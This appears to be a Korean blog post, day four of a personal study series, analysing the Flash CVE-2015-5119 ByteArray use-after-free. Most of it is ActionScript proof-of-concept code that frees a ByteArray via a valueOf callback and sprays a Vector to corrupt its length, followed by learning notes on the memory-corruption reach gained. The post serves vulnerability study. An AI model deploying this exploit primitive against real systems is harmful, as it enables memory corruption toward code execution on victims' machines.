본문 바로가기

Project/Flash CVE 1-day Analysis

CVE-2015-5119 분석 4일차

CVE-2015-5119 PoC 코드
package
{
	import flash.display.Sprite;
	import flash.events.Event;
	import flash.utils.ByteArray;
	import flash.media.Sound;
	import flash.external.ExternalInterface;
	
	public class Main extends Sprite 
	{
		private var data:uint = 0xdeaddead;
		private var ba:ByteArray = new ByteArray();
		private var o:*;
		private var uv:Vector.<uint>;
		
		private var bp:Sound = new Sound();
		
		public function Main(){
			ba.length = 0xfa0 // 4000 byte
		
			o = new Object();
		
			bp.toString()
			o.valueOf = function(){ // for uaf
				trace("o.valueOf()");
				ba.length = 0x1100 // reallocating bytearray(ba)
				bp.toString();
				uv = new Vector.<uint>(0x3e8); // 4*0x3e8 = 4000
				trace("Before o.valueOf return");
				trace("uv.length = 0x" + uv.length.toString(16));
				bp.toString();
				return 0xff;
			}
			ba[3] = o;
			trace("After o.valueOf return");
			trace("ba[3] = " + ba[3]);
			trace("uv.length = 0x" + uv.length.toString(16));
			//ba.clear();
		}
	}
}

알게 된 점

1. ba.length를 조작 할 시에 특정 값을 넘어가면(capacity) ba의 메모리 주소 공간을 reallocating 한다.

2. UAF가 완전히 트리거 되는걸 알아따!

3. 길이를 0xff0003e8로 조작 했는데 전역 메모리 조작을 하려면 0xffffffff으로 바꿔야 될까? 사실 아닌거같다. 왜냐면 vector 자체를 uint로 선언 했기 때문에 0xff0003e8 * 4 만큼 조작 가능 할듯

 

모르는 점

1. 아직 실제 메모리 디버깅은 안해보고 트레이싱은 잘 된다.